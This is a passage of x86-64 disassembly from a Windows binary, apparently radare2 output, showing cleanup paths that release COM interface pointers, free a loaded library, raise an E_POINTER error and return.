je 0x14000d24f
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000d25f
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, ebx
jmp 0x14000d3d8
mov rcx, qword [rsp + 0x38]
test rcx, rcx
jne 0x14000d27b
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
jne 0x14000d296
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000d2d8
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000d2e9
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000d3d5
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000d3d5
mov rcx, qword [rsp + 0x40]
test rcx, rcx
jne 0x14000d317
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000d359
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000d36a
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000d2e9
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000d3ab
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000d3bc
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000d2e9
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
or eax, 0xffffffff
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.14000f440
add rsp, 0x228
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret